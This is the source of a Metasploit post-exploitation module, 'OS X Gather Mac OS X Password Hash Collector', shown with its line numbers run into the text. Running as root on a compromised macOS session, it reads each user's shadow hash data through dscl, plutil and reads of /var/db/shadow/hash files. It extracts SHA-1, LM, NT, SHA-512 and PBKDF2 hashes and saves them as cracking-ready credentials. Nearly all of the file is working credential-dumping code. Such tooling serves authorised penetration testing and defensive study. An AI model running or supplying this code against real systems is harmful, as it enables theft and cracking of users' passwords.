Path: blob/master/modules/post/osx/gather/hashdump.rb
23700 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8# set of accounts to ignore while pilfering data9# OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]1011include Msf::Post::File12include Msf::Post::OSX::Priv13include Msf::Post::OSX::System14include Msf::Auxiliary::Report1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'OS X Gather Mac OS X Password Hash Collector',21'Description' => %q{22This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports23versions 10.3 to 10.14.24},25'License' => MSF_LICENSE,26'Author' => [27'Carlos Perez <carlos_perez[at]darkoperator.com>',28'hammackj <jacob.hammack[at]hammackj.com>',29'joev'30],31'Platform' => [ 'osx' ],32'SessionTypes' => %w[shell meterpreter],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37},38'References' => [39[ 'ATT&CK', Mitre::Attack::Technique::T1003_OS_CREDENTIAL_DUMPING ]40]41)42)43register_options([44OptRegexp.new('MATCHUSER', [45false,46'Only attempt to grab hashes for users whose name matches this regex'47])48])49end5051def run52unless is_root?53fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')54end5556# iterate over all users57get_nonsystem_accounts.each do |user_info|58user = user_info['name']59next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)6061print_status "Attempting to grab shadow for user #{user}..."62if gt_lion? # 10.8+63# pull the shadow from dscl64shadow_bytes = grab_shadow_blob(user)65next if shadow_bytes.blank?6667# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist68# Here we pull out the binary plist bytes and use built-in plutil to convert to xml69plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join7071# encode the bytes as \x hex string, print using bash's echo, and pass to plutil72shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")7374# read the plaintext xml75shadow_xml = REXML::Document.new(shadow_plist)7677# parse out the different parts of sha512pbkdf278dict = shadow_xml.elements[1].elements[1].elements[2]79entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')80iterations = dict.elements[4].text.gsub(/\s+/, '')81salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')8283# PBKDF2 stored in <iterations, salt, entropy> format84decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"85report_hash('SHA-512 PBKDF2', decoded_hash, user)86elsif lion? # 10.787# pull the shadow from dscl88shadow_bytes = grab_shadow_blob(user)89next if shadow_bytes.blank?9091# on 10.7 the ShadowHashData is stored in plaintext92hash_decoded = shadow_bytes.downcase9394# Check if NT HASH is present95if hash_decoded =~ /4f1010/96report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)97end9899# slice out the sha512 hash + salt100# original regex left for historical purposes. During testing it was discovered that101# 4f110200 was also a valid end. Instead of looking for the end, since its a hash (known102# length) we can just set the length103# sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]104sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]105report_hash('SHA-512', sha512, user)106else # 10.6 and below107# On 10.6 and below, SHA-1 is used for encryption108guid = if gte_leopard?109cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp110elsif lte_tiger?111cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp112end113114# Extract the hashes115sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp116nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp117lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp118119# Check that we have the hashes and save them120if sha1_hash !~ /0000000000000000000000000/121report_hash('SHA-1', sha1_hash, user)122end123if nt_hash !~ /000000000000000/124report_hash('NT', nt_hash, user)125end126if lm_hash !~ /0000000000000/127report_hash('LM', lm_hash, user)128end129end130end131end132133private134135# @return [Bool] system version is at least 10.5136def gte_leopard?137ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5138end139140# @return [Bool] system version is at least 10.8141def gt_lion?142ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8143end144145# @return [String] hostname146def host147session.session_host148end149150# @return [Bool] system version is 10.7151def lion?152ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7153end154155# @return [Bool] system version is 10.4 or lower156def lte_tiger?157ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4158end159160# parse the dslocal plist in lion161def read_ds_xml_plist(plist_content)162doc = REXML::Document.new(plist_content)163keys = []164doc.elements.each('plist/dict/key') { |n| keys << n.text }165166fields = {}167i = 0168doc.elements.each('plist/dict/array') do |element|169data = []170fields[keys[i]] = data171element.each_element('*') do |thing|172data_set = thing.text173if data_set174data << data_set.gsub("\n\t\t", '')175else176data << data_set177end178end179i += 1180end181return fields182end183184# reports the hash info to metasploit backend185def report_hash(type, hash, user)186return unless hash.present?187188print_good("#{type}:#{user}:#{hash}")189case type190when 'NT'191private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"192private_type = :ntlm_hash193jtr_format = 'ntlm'194when 'LM'195private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"196private_type = :ntlm_hash197jtr_format = 'lm'198when 'SHA-512 PBKDF2'199private_data = hash200private_type = :nonreplayable_hash201jtr_format = 'PBKDF2-HMAC-SHA512'202when 'SHA-512'203private_data = hash204private_type = :nonreplayable_hash205jtr_format = 'xsha512'206when 'SHA-1'207private_data = hash208private_type = :nonreplayable_hash209jtr_format = 'xsha'210end211create_credential(212jtr_format: jtr_format,213workspace_id: myworkspace_id,214origin_type: :session,215session_id: session_db_id,216post_reference_name: refname,217username: user,218private_data: private_data,219private_type: private_type220)221print_status('Credential saved in database.')222end223224# @return [String] containing blob for ShadowHashData in user's plist225# @return [nil] if shadow is invalid226def grab_shadow_blob(user)227shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')228return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'229230# strip the other bytes231shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')232end233234# @return [String] version string (e.g. 10.8.5)235def ver_num236@ver_num ||= get_sysinfo['ProductVersion']237end238end239240241